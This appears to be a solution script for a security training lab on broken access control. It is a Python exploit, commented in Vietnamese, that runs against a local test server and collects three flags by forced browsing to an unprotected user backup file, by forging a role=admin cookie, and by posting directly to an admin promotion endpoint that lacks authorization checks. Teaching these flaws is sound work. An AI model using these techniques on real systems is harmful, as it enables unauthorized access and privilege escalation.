#!/usr/bin/env python3
"""
Exploit lab 5.2 - Broken Access Control.

Dong vai carol (user thuong). Ba duong leo quyen doc lap:
  Buoc 1: forced browsing - doc /backup/users.json khong can dang nhap.
  Buoc 2: tin role tu client - sua cookie role=admin de vao /admin/panel.
  Buoc 3: verb tampering - POST thang /admin/promote de tu len admin.
"""
import re
import sys
import requests

BASE = "http://127.0.0.1:8051"


def grab_flag(text):
    m = re.search(r"FLAG\{[^}]+\}", text)
    return m.group(0) if m else None


def main():
    flags = []

    print("[*] Buoc 1: forced browsing - doc file sao luu, khong dang nhap")
    r = requests.get("%s/backup/users.json" % BASE)
    print("    GET /backup/users.json ->", r.status_code)
    print("   ", r.json())
    f = grab_flag(r.text)
    if f:
        flags.append(f)

    print("\n[*] Dang nhap carol (user thuong) de xem role that:")
    s = requests.Session()
    r = s.post("%s/login" % BASE, data={"username": "carol", "password": "pw"})
    print("    login ->", r.json(), "| cookie role =", s.cookies.get("role"))

    print("\n[*] Thu vao /admin/panel voi role=user (phai bi chan):")
    r = s.get("%s/admin/panel" % BASE)
    print("    ->", r.status_code, r.json())

    print("\n[*] Buoc 2: tin role tu client - sua cookie role=admin:")
    jar = {"user": "carol", "role": "admin"}  # client tu dat role
    r = requests.get("%s/admin/panel" % BASE, cookies=jar)
    print("    ->", r.status_code, r.json())
    f = grab_flag(r.text)
    if f:
        flags.append(f)

    print("\n[*] Buoc 3: verb tampering - carol (role=user) POST promote:")
    # Cookie van la role=user, buoc POST khong kiem quyen nen van an.
    r = s.post("%s/admin/promote" % BASE, data={"user": "carol"})
    print("    POST /admin/promote user=carol ->", r.status_code, r.json())
    f = grab_flag(r.text)
    if f:
        flags.append(f)

    print("\n[+] Flags thu duoc:")
    for f in flags:
        print("    ", f)
    sys.exit(0 if len(flags) == 3 else 1)


if __name__ == "__main__":
    main()